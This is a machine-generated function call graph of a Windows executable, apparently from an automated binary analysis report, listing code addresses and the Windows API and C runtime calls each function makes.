API calls 93173->93174 93175 5a61ff 93174->93175 93176 5ace19 48 API calls 93175->93176 93177 5a620c 93176->93177 93448 5a39db 93177->93448 93179 5a6216 Mailbox 93460 5a6eed 93179->93460 93184 5ace19 48 API calls 93185 5a6244 93184->93185 93467 5ad6e9 93185->93467 93187 5a6254 Mailbox 93188 5ace19 48 API calls 93187->93188 93189 5a627c 93188->93189 93190 5ad6e9 55 API calls 93189->93190 93191 5a628f Mailbox 93190->93191 93192 5ace19 48 API calls 93191->93192 93193 5a62a0 93192->93193 93471 5ad645 93193->93471 93195 5a62b2 Mailbox 93196 5ad7f7 48 API calls 93195->93196 93197 5a62c5 93196->93197 93481 5a63fc 93197->93481 93201 5a62df 93202 5a62e9 93201->93202 93203 611c08 93201->93203 93204 5c0fa7 _W_store_winword 59 API calls 93202->93204 93205 5a63fc 48 API calls 93203->93205 93206 5a62f4 93204->93206 93207 611c1c 93205->93207 93206->93207 93208 5a62fe 93206->93208 93210 5a63fc 48 API calls 93207->93210 93209 5c0fa7 _W_store_winword 59 API calls 93208->93209 93211 5a6309 93209->93211 93212 611c38 93210->93212 93211->93212 93213 5a6313 93211->93213 93214 5a5374 50 API calls 93212->93214 93215 5c0fa7 _W_store_winword 59 API calls 93213->93215 93216 611c5d 93214->93216 93222 5a631e 93215->93222 93217 5a63fc 48 API calls 93216->93217 93221 611c69 93217->93221 93218 5a635f 93219 5a636c 93218->93219 93220 611c86 93218->93220 93497 5bc050 93219->93497 93225 5a6eed 48 API calls 93220->93225 93223 5a6eed 48 API calls 93221->93223 93222->93218 93222->93220 93224 5a63fc 48 API calls 93222->93224 93227 611c77 93223->93227 93228 5a6342 93224->93228 93229 611ca8 93225->93229 93231 5a63fc 48 API calls 93227->93231 93232 5a6eed 48 API calls 93228->93232 93233 5a63fc 48 API calls 93229->93233 93230 5a6384 93508 5b1b90 93230->93508 93231->93220 93236 5a6350 93232->93236 93234 611cb5 93233->93234 93234->93234 93237 5a63fc 48 API calls 93236->93237 93237->93218 93238 5b1b90 48 API calls 93240 5a6394 93238->93240 93240->93238 93241 5a63fc 48 API calls 93240->93241 93242 5a63d6 Mailbox 93240->93242 93524 5a6b68 48 API calls 93240->93524 93241->93240 93242->93114 93244 5a40f2 __ftell_nolock 93243->93244 93245 5a410b 93244->93245 93246 61370e _memset 93244->93246 94079 5a660f 93245->94079 93248 61372a GetOpenFileNameW 93246->93248 93250 613779 93248->93250 93252 5a6a63 48 API calls 93250->93252 93254 61378e 93252->93254 93254->93254 93256 5a4129 94104 5a4139 93256->94104 93260 5a6adf 93259->93260 93262 5a6a6f __wsetenvp 93259->93262 93261 5ab18b 48 API calls 93260->93261 93269 5a6ab6 ___crtGetEnvironmentStringsW 93261->93269 93263 5a6a8b 93262->93263 93264 5a6ad7 93262->93264 94314 5a6b4a 93263->94314 94317 5ac369 48 API calls 93264->94317 93267 5a6a95 93268 5bee75 48 API calls 93267->93268 93268->93269 93269->93127 93271 5a643d __ftell_nolock 93270->93271 94318 5a4c75 93271->94318 93273 5a6442 93285 5a3dee 93273->93285 94329 5a5928 86 API calls 93273->94329 93275 5a644f 93275->93285 94330 5a5798 88 API calls Mailbox 93275->94330 93277 5a6458 93278 5a645c GetFullPathNameW 93277->93278 93277->93285 93279 5a6a63 48 API calls 93278->93279 93280 5a6488 93279->93280 93281 5a6a63 48 API calls 93280->93281 93282 5a6495 93281->93282 93283 615dcf _wcscat 93282->93283 93284 5a6a63 48 API calls 93282->93284 93284->93285 93285->93123 93285->93131 93287 5a3ed8 93286->93287 93288 611cba 93286->93288 94381 5a4024 93287->94381 93292 5a3e05 93293 5a36b8 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 93292->93293 93293->93139 93295 5a5027 _memset 93294->93295 94386 5a4c30 93295->94386 93299 5a50ca Shell_NotifyIconW 94390 5a51af 93299->94390 93300 613d28 Shell_NotifyIconW 93302 5a50ac 93302->93299 93302->93300 93303 5a50df 93303->93141 93305 5ae8f6 93304->93305 93364 5ae906 Mailbox 93304->93364 93307 5aed52 93305->93307 93305->93364 93306 5ecc5c 86 API calls 93306->93364 94580 5be3cd 331 API calls 93307->94580 93308 5aebc7 93310 5a3e2a 93308->93310 94581 5a2ff6 16 API calls 93308->94581 93310->93147 93365 5a3847 Shell_NotifyIconW _memset 93310->93365 93312 5aed63 93312->93310 93313 5aed70 93312->93313 94582 5be312 331 API calls Mailbox 93313->94582 93314 5ae94c PeekMessageW 93314->93364 93316 61526e Sleep 93316->93364 93317 5aed77 LockWindowUpdate DestroyWindow GetMessageW 93317->93310 93319 5aeda9 93317->93319 93320 6159ef TranslateMessage DispatchMessageW GetMessageW 93319->93320 93320->93320 93322 615a1f 93320->93322 93322->93310 93323 5aed21 PeekMessageW 93323->93364 93324 5a1caa 49 API calls 93324->93364 93325 5aebf7 timeGetTime 93325->93364 93327 5bf4ea 48 API calls 93327->93364 93328 5a6eed 48 API calls 93328->93364 93329 5aed3a TranslateMessage DispatchMessageW 93329->93323 93330 615557 WaitForSingleObject 93332 615574 GetExitCodeProcess CloseHandle 93330->93332 93330->93364 93331 61588f Sleep 93359 615429 Mailbox 93331->93359 93332->93364 93333 5ad7f7 48 API calls 93333->93359 93334 5aedae timeGetTime 94583 5a1caa 49 API calls 93334->94583 93335 615733 Sleep 93335->93359 93339 615926 GetExitCodeProcess 93344 615952 CloseHandle 93339->93344 93345 61593c WaitForSingleObject 93339->93345 93341 5a2aae 307 API calls 93341->93364 93342 5bdc38 timeGetTime 93342->93359 93343 615445 Sleep 93343->93364 93344->93359 93345->93344 93345->93364 93346 615432 Sleep 93346->93343 93347 608c4b 108 API calls 93347->93359 93348 5a2c79 107 API calls 93348->93359 93350 6159ae Sleep 93350->93364 93353 5ace19 48 API calls 93353->93359 93356 5ad6e9 55 API calls 93356->93359 93359->93333 93359->93339 93359->93342 93359->93343 93359->93346 93359->93347 93359->93348 93359->93350 93359->93353 93359->93356 93359->93364 94585 5e4cbe 49 API calls Mailbox 93359->94585 94586 5a1caa 49 API calls 93359->94586 94587 5a2aae 331 API calls 93359->94587 94617 5fccb2 50 API calls 93359->94617 94618 5e7a58 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 93359->94618 94619 5e6532 63 API calls 3 library calls 93359->94619 93362 5ace19 48 API calls 93362->93364 93363 5ad6e9 55 API calls 93363->93364 93364->93306 93364->93308 93364->93314 93364->93316 93364->93323 93364->93324 93364->93325 93364->93327 93364->93328 93364->93329 93364->93330 93364->93331 93364->93334 93364->93335 93364->93341 93364->93343 93364->93359 93364->93362 93364->93363 94413 5af110 93364->94413 94478 5b45e0 93364->94478 94495 5b3200 93364->94495 94568 5be244 93364->94568 94573 5bdc5f 93364->94573 94578 5aeed0 331 API calls Mailbox 93364->94578 94579 5aef00 86 API calls 93364->94579 94584 608d23 48 API calls 93364->94584 94588 5afe30 93364->94588 93365->93147 93366->93123 93367->93135 93369 5cf8a0 __ftell_nolock 93368->93369 93370 5a5381 GetModuleFileNameW 93369->93370 93371 5ace19 48 API calls 93370->93371 93372 5a53a7 93371->93372 93373 5a660f 49 API calls 93372->93373 93374 5a53b1 Mailbox 93373->93374 93374->93144 93376 5ace28 __wsetenvp 93375->93376 93377 5bee75 48 API calls 93376->93377 93378 5ace50 ___crtGetEnvironmentStringsW 93377->93378 93379 5bf4ea 48 API calls 93378->93379 93380 5ace66 93379->93380 93380->93148 93382 5a5197 93381->93382 93383 5a519f 93382->93383 93384 611ace 93382->93384 94863 5a5130 93383->94863 93386 5a6b4a 48 API calls 93384->93386 93388 611adb __wsetenvp 93386->93388 93387 5a51aa 93391 5a510d 93387->93391 93389 5bee75 48 API calls 93388->93389 93390 611b07 ___crtGetEnvironmentStringsW 93389->93390 93392 5a511f 93391->93392 93393 611be7 93391->93393 94873 5ab384 93392->94873 94882 5da58f 48 API calls ___crtGetEnvironmentStringsW 93393->94882 93396 611bf1 93398 5a6eed 48 API calls 93396->93398 93397 5a512b 93397->93158 93399 611bf9 Mailbox 93398->93399 93403 5bf4f2 __calloc_impl 93400->93403 93402 5bf50c 93402->93166 93403->93402 93404 5bf50e std::exception::exception 93403->93404 93409 5c395c 93403->93409 93423 5c6805 RaiseException 93404->93423 93406 5bf538 93424 5c673b 47 API calls _free 93406->93424 93408 5bf54a 93408->93166 93410 5c39d7 __calloc_impl 93409->93410 93414 5c3968 __calloc_impl 93409->93414 93430 5c7c0e 47 API calls __getptd_noexit 93410->93430 93413 5c399b RtlAllocateHeap 93413->93414 93422 5c39cf 93413->93422 93414->93413 93416 5c39c3 93414->93416 93417 5c3973 93414->93417 93420 5c39c1 93414->93420 93428 5c7c0e 47 API calls __getptd_noexit 93416->93428 93417->93414 93425 5c81c2 47 API calls __NMSG_WRITE 93417->93425 93426 5c821f 47 API calls 6 library calls 93417->93426 93427 5c1145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 93417->93427 93429 5c7c0e 47 API calls __getptd_noexit 93420->93429 93422->93403 93423->93406 93424->93408 93425->93417 93426->93417 93428->93420 93429->93422 93430->93422 93432 5ad7f7 48 API calls 93431->93432 93433 5a61db 93432->93433 93434 5a6009 93433->93434 93435 5a6016 __ftell_nolock 93434->93435 93436 5a6a63 48 API calls 93435->93436 93441 5a617c Mailbox 93435->93441 93438 5a6048 93436->93438 93446 5a607e Mailbox 93438->93446 93525 5a61a6 93438->93525 93439 5a614f 93440 5ace19 48 API calls 93439->93440 93439->93441 93443 5a6170 93440->93443 93441->93173 93442 5ace19 48 API calls 93442->93446 93444 5a64cf 48 API calls 93443->93444 93444->93441 93446->93439 93446->93441 93446->93442 93447 5a61a6 48 API calls 93446->93447 93528 5a64cf 93446->93528 93447->93446 93551 5a41a9 93448->93551 93451 5a3a06 93451->93179 93454 612ff0 93456 5c1c9d _free 47 API calls 93454->93456 93457 612ffd 93456->93457 93458 5a4252 84 API calls 93457->93458 93459 613006 93458->93459 93459->93459 93461 5a6ef8 93460->93461 93462 5a622b 93460->93462 94067 5add47 48 API calls ___crtGetEnvironmentStringsW 93461->94067 93464 5a9048 93462->93464 93465 5bf4ea 48 API calls 93464->93465 93466 5a6237 93465->93466 93466->93184 93468 5ad6f4 93467->93468 93470 5ad71b 93468->93470 94068 5ad764 55 API calls 93468->94068 93470->93187 93472 5ad654 93471->93472 93479 5ad67e 93471->93479 93473 5ad65b 93472->93473 93475 5ad6c2 93472->93475 93474 5ad666 93473->93474 93480 5ad6ab 93473->93480 94069 5ad9a0 53 API calls __cinit 93474->94069 93475->93480 94071 5bdce0 53 API calls 93475->94071 93479->93195 93480->93479 94070 5bdce0 53 API calls 93480->94070 93482 5a641f 93481->93482 93483 5a6406 93481->93483 93485 5a6a63 48 API calls 93482->93485 93484 5a6eed 48 API calls 93483->93484 93486 5a62d1 93484->93486 93485->93486 93487 5c0fa7 93486->93487 93488 5c1028 93487->93488 93489 5c0fb3 93487->93489 94074 5c103a 59 API calls 3 library calls 93488->94074 93496 5c0fd8 93489->93496 94072 5c7c0e 47 API calls __getptd_noexit 93489->94072 93492 5c1035 93492->93201 93493 5c0fbf 94073 5c6e10 8 API calls _raise 93493->94073 93495 5c0fca 93495->93201 93496->93201 93498 5bc064 93497->93498 93500 5bc069 Mailbox 93497->93500 94075 5bc1af 48 API calls 93498->94075 93501 5bc077 93500->93501 94076 5bc15c 48 API calls 93500->94076 93503 5bf4ea 48 API calls 93501->93503 93504 5bc152 93501->93504 93505 5bc108 93503->93505 93504->93230 93506 5bf4ea 48 API calls 93505->93506 93507 5bc113 93506->93507 93507->93230 93509 5b1cf6 93508->93509 93510 5b1ba2 93508->93510 93509->93240 93512 5bf4ea 48 API calls 93510->93512 93523 5b1bae 93510->93523 93514 6149c4 93512->93514 93513 5b1bb9 93515 5b1c5d 93513->93515 93517 5bf4ea 48 API calls 93513->93517 93516 5bf4ea 48 API calls 93514->93516 93515->93240 93522 6149cf 93516->93522 93518 5b1c9f 93517->93518 93519 5b1cb2 93518->93519 94077 5a2925 48 API calls 93518->94077 93519->93240 93521 5bf4ea 48 API calls 93521->93522 93522->93521 93522->93523 93523->93513 94078 5bc15c 48 API calls 93523->94078 93524->93240 93534 5abdfa 93525->93534 93527 5a61b1 93527->93438 93529 5a651b 93528->93529 93533 5a64dd ___crtGetEnvironmentStringsW 93528->93533 93531 5bf4ea 48 API calls 93529->93531 93530 5bf4ea 48 API calls 93532 5a64e4 93530->93532 93531->93533 93532->93446 93533->93530 93535 5abe0d 93534->93535 93539 5abe0a ___crtGetEnvironmentStringsW 93534->93539 93536 5bf4ea 48 API calls 93535->93536 93537 5abe17 93536->93537 93540 5bee75 93537->93540 93539->93527 93542 5bf4ea __calloc_impl 93540->93542 93541 5c395c std::exception::_Copy_str 47 API calls 93541->93542 93542->93541 93543 5bf50c 93542->93543 93544 5bf50e std::exception::exception 93542->93544 93543->93539 93549 5c6805 RaiseException 93544->93549 93546 5bf538 93550 5c673b 47 API calls _free 93546->93550 93548 5bf54a 93548->93539 93549->93546 93550->93548 93616 5a4214 93551->93616 93556 614f73 93558 5a4252 84 API calls 93556->93558 93557 5a41d4 LoadLibraryExW 93626 5a4291 93557->93626 93560 614f7a 93558->93560 93562 5a4291 3 API calls 93560->93562 93565 614f82 93562->93565 93564 5a41fb 93564->93565 93566 5a4207 93564->93566 93652 5a44ed 93565->93652 93567 5a4252 84 API calls 93566->93567 93569 5a39fe 93567->93569 93569->93451 93575 5ec396 93569->93575 93572 614fa9 93660 5a4950 93572->93660 93574 614fb6 93576 5a4517 83 API calls 93575->93576 93577 5ec405 93576->93577 93841 5ec56d 93577->93841 93580 5a44ed 64 API calls 93581 5ec432 93580->93581 93582 5a44ed 64 API calls 93581->93582 93583 5ec442 93582->93583 93584 5a44ed 64 API calls 93583->93584 93585 5ec45d 93584->93585 93586 5a44ed 64 API calls 93585->93586 93587 5ec478 93586->93587 93588 5a4517 83 API calls 93587->93588 93589 5ec48f 93588->93589 93590 5c395c std::exception::_Copy_str 47 API calls 93589->93590 93591 5ec496 93590->93591 93592 5c395c std::exception::_Copy_str 47 API calls 93591->93592 93593 5ec4a0 93592->93593 93594 5a44ed 64 API calls 93593->93594 93595 5ec4b4 93594->93595 93596 5ebf5a GetSystemTimeAsFileTime 93595->93596 93597 5ec4c7 93596->93597 93598 5ec4dc 93597->93598 93599 5ec4f1 93597->93599 93600 5c1c9d _free 47 API calls 93598->93600 93601 5ec556 93599->93601 93602 5ec4f7 93599->93602 93605 5ec4e2 93600->93605 93604 5c1c9d _free 47 API calls 93601->93604 93847 5eb965 118 API calls __fcloseall 93602->93847 93607 5ec41b 93604->93607 93608 5c1c9d _free 47 API calls 93605->93608 93606 5ec54e 93609 5c1c9d _free 47 API calls 93606->93609 93607->93454 93610 5a4252 93607->93610 93608->93607 93609->93607 93611 5a425c 93610->93611 93615 5a4263 93610->93615 93848 5c35e4 93611->93848 93613 5a4272 93613->93454 93614 5a4283 FreeLibrary 93614->93613 93615->93613 93615->93614 93665 5a4339 93616->93665 93619 5a423c 93620 5a41bb 93619->93620 93621 5a4244 FreeLibrary 93619->93621 93623 5c3499 93620->93623 93621->93620 93673 5c34ae 93623->93673 93625 5a41c8 93625->93556 93625->93557 93752 5a42e4 93626->93752 93629 5a41ec 93633 5a4380 93629->93633 93630 5a42c1 FreeLibrary 93630->93629 93632 5a42b8 93632->93629 93632->93630 93634 5bf4ea 48 API calls 93633->93634 93635 5a4395 93634->93635 93760 5a47b7 93635->93760 93637 5a43a1 ___crtGetEnvironmentStringsW 93638 5a43dc 93637->93638 93639 5a4499 93637->93639 93640 5a44d1 93637->93640 93641 5a4950 57 API calls 93638->93641 93763 5a406b CreateStreamOnHGlobal 93639->93763 93774 5ec750 93 API calls 93640->93774 93649 5a43e5 93641->93649 93644 5a44ed 64 API calls 93644->93649 93646 5a4479 93646->93564 93647 614ed7 93648 5a4517 83 API calls 93647->93648 93650 614eeb 93648->93650 93649->93644 93649->93646 93649->93647 93769 5a4517 93649->93769 93651 5a44ed 64 API calls 93650->93651 93651->93646 93653 614fc0 93652->93653 93654 5a44ff 93652->93654 93798 5c381e 93654->93798 93657 5ebf5a 93818 5ebdb4 93657->93818 93659 5ebf70 93659->93572 93661 615002 93660->93661 93662 5a495f 93660->93662 93823 5c3e65 93662->93823 93664 5a4967 93664->93574 93669 5a434b 93665->93669 93668 5a4321 LoadLibraryA GetProcAddress 93668->93619 93670 5a422f 93669->93670 93671 5a4354 LoadLibraryA 93669->93671 93670->93619 93670->93668 93671->93670 93672 5a4365 GetProcAddress 93671->93672 93672->93670 93676 5c34ba _raise 93673->93676 93674 5c34cd 93721 5c7c0e 47 API calls __getptd_noexit 93674->93721 93676->93674 93678 5c34fe 93676->93678 93677 5c34d2 93722 5c6e10 8 API calls _raise 93677->93722 93692 5ce4c8 93678->93692 93681 5c3503 93682 5c350c 93681->93682 93683 5c3519 93681->93683 93723 5c7c0e 47 API calls __getptd_noexit 93682->93723 93685 5c3543 93683->93685 93686 5c3523 93683->93686 93706 5ce5e0 93685->93706 93724 5c7c0e 47 API calls __getptd_noexit 93686->93724 93688 5c34dd _raise @_EH4_CallFilterFunc@8 93688->93625 93693 5ce4d4 _raise 93692->93693 93694 5c7cf4 __lock 47 API calls 93693->93694 93701 5ce4e2 93694->93701 93695 5ce559 93731 5c69d0 47 API calls std::exception::_Copy_str 93695->93731 93698 5ce560 93700 5ce56f InitializeCriticalSectionAndSpinCount EnterCriticalSection 93698->93700 93704 5ce552 93698->93704 93699 5ce5cc _raise 93699->93681 93700->93704 93701->93695 93702 5c7d7c __mtinitlocknum 47 API calls 93701->93702 93701->93704 93729 5c4e5b 48 API calls __lock 93701->93729 93730 5c4ec5 LeaveCriticalSection LeaveCriticalSection _doexit 93701->93730 93702->93701 93726 5ce5d7 93704->93726 93715 5ce600 __wopenfile 93706->93715 93707 5ce61a 93736 5c7c0e 47 API calls __getptd_noexit 93707->93736 93709 5ce7d5 93709->93707 93713 5ce838 93709->93713 93710 5ce61f 93737 5c6e10 8 API calls _raise 93710->93737 93712 5c354e 93725 5c3570 LeaveCriticalSection LeaveCriticalSection _fprintf 93712->93725 93733 5d63c9 93713->93733 93715->93707 93715->93709 93715->93715 93738 5c185b 59 API calls 2 library calls 93715->93738 93717 5ce7ce 93717->93709 93739 5c185b 59 API calls 2 library calls 93717->93739 93719 5ce7ed 93719->93709 93740 5c185b 59 API calls 2 library calls 93719->93740 93721->93677 93722->93688 93723->93688 93724->93688 93725->93688 93732 5c7e58 LeaveCriticalSection 93726->93732 93728 5ce5de 93728->93699 93729->93701 93730->93701 93731->93698 93732->93728 93741 5d5bb1 93733->93741 93735 5d63e2 93735->93712 93736->93710 93737->93712 93738->93717 93739->93719 93740->93709 93742 5d5bbd _raise 93741->93742 93743 5d5bcf 93742->93743 93746 5d5c06 93742->93746 93744 5c7c0e _raise 47 API calls 93743->93744 93745 5d5bd4 93744->93745 93747 5c6e10 _raise 8 API calls 93745->93747 93748 5d5c78 __wsopen_helper 110 API calls 93746->93748 93751 5d5bde _raise 93747->93751 93749 5d5c23 93748->93749 93750 5d5c4c __wsopen_helper LeaveCriticalSection 93749->93750 93750->93751 93751->93735 93756 5a42f6 93752->93756 93755 5a42cc LoadLibraryA GetProcAddress 93755->93632 93757 5a42aa 93756->93757 93758 5a42ff LoadLibraryA 93756->93758 93757->93632 93757->93755 93758->93757 93759 5a4310 GetProcAddress 93758->93759 93759->93757 93761 5bf4ea 48 API calls 93760->93761 93762 5a47c9 93761->93762 93762->93637 93764 5a4085 FindResourceExW 93763->93764 93766 5a40a2 93763->93766 93765 614f16 LoadResource 93764->93765 93764->93766 93765->93766 93767 614f2b SizeofResource 93765->93767 93766->93638 93767->93766 93768 614f3f LockResource 93767->93768 93768->93766 93770 614fe0 93769->93770 93771 5a4526 93769->93771 93775 5c3a8d 93771->93775 93773 5a4534 93773->93649 93774->93638 93779 5c3a99 _raise 93775->93779 93776 5c3aa7 93788 5c7c0e 47 API calls __getptd_noexit 93776->93788 93778 5c3acd 93790 5c4e1c 93778->93790 93779->93776 93779->93778 93781 5c3aac 93789 5c6e10 8 API calls _raise 93781->93789 93782 5c3ad3 93796 5c39fe 81 API calls 4 library calls 93782->93796 93785 5c3ae2 93797 5c3b04 LeaveCriticalSection LeaveCriticalSection _fprintf 93785->93797 93787 5c3ab7 _raise 93787->93773 93788->93781 93789->93787 93791 5c4e2c 93790->93791 93792 5c4e4e EnterCriticalSection 93790->93792 93791->93792 93794 5c4e34 93791->93794 93793 5c4e44 93792->93793 93793->93782 93795 5c7cf4 __lock 47 API calls 93794->93795 93795->93793 93796->93785 93797->93787 93801 5c3839 93798->93801 93800 5a4510 93800->93657 93802 5c3845 _raise 93801->93802 93803 5c3888 93802->93803 93804 5c385b _memset 93802->93804 93805 5c3880 _raise 93802->93805 93806 5c4e1c __lock_file 48 API calls 93803->93806 93814 5c7c0e 47 API calls __getptd_noexit 93804->93814 93805->93800 93807 5c388e 93806->93807 93816 5c365b 62 API calls 6 library calls 93807->93816 93810 5c3875 93815 5c6e10 8 API calls _raise 93810->93815 93811 5c38a4 93817 5c38c2 LeaveCriticalSection LeaveCriticalSection _fprintf 93811->93817 93814->93810 93815->93805 93816->93811 93817->93805 93821 5c344a GetSystemTimeAsFileTime 93818->93821 93820 5ebdc3 93820->93659 93822 5c3478 __aulldiv 93821->93822 93822->93820 93824 5c3e71 _raise 93823->93824 93825 5c3e7f 93824->93825 93826 5c3e94 93824->93826 93837 5c7c0e 47 API calls __getptd_noexit 93825->93837 93828 5c4e1c __lock_file 48 API calls 93826->93828 93830 5c3e9a 93828->93830 93829 5c3e84 93838 5c6e10 8 API calls _raise 93829->93838 93839 5c3b0c 55 API calls 5 library calls 93830->93839 93833 5c3ea5 93840 5c3ec5 LeaveCriticalSection LeaveCriticalSection _fprintf 93833->93840 93835 5c3eb7 93836 5c3e8f _raise 93835->93836 93836->93664 93837->93829 93838->93836 93839->93833 93840->93835 93842 5ec581 __tzset_nolock _wcscmp 93841->93842 93843 5a44ed 64 API calls 93842->93843 93844 5ec417 93842->93844 93845 5ebf5a GetSystemTimeAsFileTime 93842->93845 93846 5a4517 83 API calls 93842->93846 93843->93842 93844->93580 93844->93607 93845->93842 93846->93842 93847->93606 93849 5c35f0 _raise 93848->93849 93850 5c361c 93849->93850 93851 5c3604 93849->93851 93853 5c4e1c __lock_file 48 API calls 93850->93853 93855 5c3614 _raise 93850->93855 93877 5c7c0e 47 API calls __getptd_noexit 93851->93877 93856 5c362e 93853->93856 93854 5c3609 93878 5c6e10 8 API calls _raise 93854->93878 93855->93615 93861 5c3578 93856->93861 93862 5c359b 93861->93862 93863 5c3587 93861->93863 93875 5c3597 93862->93875 93880 5c2c84 93862->93880 93920 5c7c0e 47 API calls __getptd_noexit 93863->93920 93865 5c358c 93921 5c6e10 8 API calls _raise 93865->93921 93872 5c35b5 93897 5ce9d2 93872->93897 93874 5c35bb 93874->93875 93876 5c1c9d _free 47 API calls 93874->93876 93879 5c3653 LeaveCriticalSection LeaveCriticalSection _fprintf 93875->93879 93876->93875 93877->93854 93878->93855 93879->93855 93881 5c2c97 93880->93881 93882 5c2cbb 93880->93882 93881->93882 93883 5c2933 __fflush_nolock 47 API calls 93881->93883 93886 5ceb36 93882->93886 93884 5c2cb4 93883->93884 93922 5caf61 93884->93922 93887 5ceb43 93886->93887 93889 5c35af 93886->93889 93888 5c1c9d _free 47 API calls 93887->93888 93887->93889 93888->93889 93890 5c2933 93889->93890 93891 5c293d 93890->93891 93892 5c2952 93890->93892 94028 5c7c0e 47 API calls __getptd_noexit 93891->94028 93892->93872 93894 5c2942 94029 5c6e10 8 API calls _raise 93894->94029 93896 5c294d 93896->93872 93898 5ce9de _raise 93897->93898 93899 5ce9fe 93898->93899 93900 5ce9e6 93898->93900 93902 5cea7b 93899->93902 93907 5cea28 93899->93907 94045 5c7bda 47 API calls __getptd_noexit 93900->94045 94049 5c7bda 47 API calls __getptd_noexit 93902->94049 93903 5ce9eb 94046 5c7c0e 47 API calls __getptd_noexit 93903->94046 93906 5cea80 94050 5c7c0e 47 API calls __getptd_noexit 93906->94050 93910 5ca8ed ___lock_fhandle 49 API calls 93907->93910 93908 5ce9f3 _raise 93908->93874 93912 5cea2e 93910->93912 93911 5cea88 94051 5c6e10 8 API calls _raise 93911->94051 93914 5cea4c 93912->93914 93915 5cea41 93912->93915 94047 5c7c0e 47 API calls __getptd_noexit 93914->94047 94030 5cea9c 93915->94030 93918 5cea47 94048 5cea73 LeaveCriticalSection __unlock_fhandle 93918->94048 93920->93865 93921->93875 93923 5caf6d _raise 93922->93923 93924 5caf8d 93923->93924 93925 5caf75 93923->93925 93926 5cb022 93924->93926 93930 5cafbf 93924->93930 94020 5c7bda 47 API calls __getptd_noexit 93925->94020 94025 5c7bda 47 API calls __getptd_noexit 93926->94025 93929 5caf7a 94021 5c7c0e 47 API calls __getptd_noexit 93929->94021 93947 5ca8ed 93930->93947 93931 5cb027 94026 5c7c0e 47 API calls __getptd_noexit 93931->94026 93935 5cafc5 93937 5cafd8 93935->93937 93938 5cafeb 93935->93938 93936 5cb02f 94027 5c6e10 8 API calls _raise 93936->94027 93956 5cb043 93937->93956 94022 5c7c0e 47 API calls __getptd_noexit 93938->94022 93942 5cafe4 94024 5cb01a LeaveCriticalSection __unlock_fhandle 93942->94024 93943 5caf82 _raise 93943->93882 93944 5caff0 94023 5c7bda 47 API calls __getptd_noexit 93944->94023 93948 5ca8f9 _raise 93947->93948 93949 5ca946 EnterCriticalSection 93948->93949 93950 5c7cf4 __lock 47 API calls 93948->93950 93951 5ca96c _raise 93949->93951 93952 5ca91d 93950->93952 93951->93935 93953 5ca928 InitializeCriticalSectionAndSpinCount 93952->93953 93954 5ca93a 93952->93954 93953->93954 93955 5ca970 ___lock_fhandle LeaveCriticalSection 93954->93955 93955->93949 93957 5cb050 __ftell_nolock 93956->93957 93958 5cb0ac 93957->93958 93959 5cb08d 93957->93959 93990 5cb082 93957->93990 93964 5cb105 93958->93964 93965 5cb0e9 93958->93965 93960 5c7bda __free_osfhnd 47 API calls 93959->93960 93963 5cb092 93960->93963 93961 5ca70c __cftoe2_l 6 API calls 93962 5cb86b 93961->93962 93962->93942 93966 5c7c0e _raise 47 API calls 93963->93966 93967 5cb11c 93964->93967 93970 5cf82f __lseeki64_nolock 49 API calls 93964->93970 93968 5c7bda __free_osfhnd 47 API calls 93965->93968 93969 5cb099 93966->93969 93971 5d3bf2 __flswbuf 47 API calls 93967->93971 93972 5cb0ee 93968->93972 93973 5c6e10 _raise 8 API calls 93969->93973 93970->93967 93974 5cb12a 93971->93974 93975 5c7c0e _raise 47 API calls 93972->93975 93973->93990 93976 5cb44b 93974->93976 93982 5c7a0d _LocaleUpdate::_LocaleUpdate 47 API calls 93974->93982 93977 5cb0f5 93975->93977 93979 5cb7b8 WriteFile 93976->93979 93980 5cb463 93976->93980 93978 5c6e10 _raise 8 API calls 93977->93978 93978->93990 93981 5cb7e1 GetLastError 93979->93981 93992 5cb410 93979->93992 93983 5cb55a 93980->93983 93989 5cb479 93980->93989 93981->93992 93985 5cb150 GetConsoleMode 93982->93985 93984 5cb565 93983->93984 94005 5cb663 93983->94005 93986 5cb81b 93984->93986 94001 5cb5de WriteFile 93984->94001 93985->93976 93987 5cb189 93985->93987 93986->93990 93991 5c7c0e _raise 47 API calls 93986->93991 93987->93976 93993 5cb199 GetConsoleCP 93987->93993 93988 5cb4e9 WriteFile 93988->93981 93994 5cb526 93988->93994 93989->93986 93989->93988 93990->93961 93995 5cb843 93991->93995 93992->93986 93992->93990 93996 5cb7f7 93992->93996 93993->93992 94018 5cb1c2 93993->94018 93994->93989 93994->93992 94004 5cb555 93994->94004 93998 5c7bda __free_osfhnd 47 API calls 93995->93998 93999 5cb7fe 93996->93999 94000 5cb812 93996->94000 93997 5cb6d8 WideCharToMultiByte 93997->93981 94012 5cb71f 93997->94012 93998->93990 94006 5c7c0e _raise 47 API calls 93999->94006 94002 5c7bed __dosmaperr 47 API calls 94000->94002 94001->93981 94003 5cb62d 94001->94003 94002->93990 94003->93984 94003->93992 94003->94004 94004->93992 94005->93986 94005->93997 94008 5cb803 94006->94008 94007 5cb727 WriteFile 94010 5cb77a GetLastError 94007->94010 94007->94012 94011 5c7bda __free_osfhnd 47 API calls 94008->94011 94009 5c1688 __chsize_nolock 57 API calls 94009->94018 94010->94012 94011->93990 94012->93992 94012->94004 94012->94005 94012->94007 94013 5cb28f WideCharToMultiByte 94013->93992 94016 5cb2ca WriteFile 94013->94016 94014 5d40f7 59 API calls __chsize_nolock 94014->94018 94015 5cb2f6 94015->93981 94015->93992 94017 5d5884 WriteConsoleW CreateFileW __chsize_nolock 94015->94017 94015->94018 94019 5cb321 WriteFile 94015->94019 94016->93981 94016->94015 94017->94015 94018->93992 94018->94009 94018->94013 94018->94014 94018->94015 94019->93981 94019->94015 94020->93929 94021->93943 94022->93944 94023->93942 94024->93943 94025->93931 94026->93936 94027->93943 94028->93894 94029->93896 94052 5caba4 94030->94052 94032 5ceb00 94065 5cab1e 48 API calls 2 library calls 94032->94065 94034 5ceaaa 94034->94032 94035 5ceade 94034->94035 94038 5caba4 __lseek_nolock 47 API calls 94034->94038 94035->94032 94036 5caba4 __lseek_nolock 47 API calls 94035->94036 94040 5ceaea CloseHandle 94036->94040 94037 5ceb08 94041 5ceb2a 94037->94041 94066 5c7bed 47 API calls 3 library calls 94037->94066 94039 5cead5 94038->94039 94042 5caba4 __lseek_nolock 47 API calls 94039->94042 94040->94032 94043 5ceaf6 GetLastError 94040->94043 94041->93918 94042->94035 94043->94032 94045->93903 94046->93908 94047->93918 94048->93908 94049->93906 94050->93911 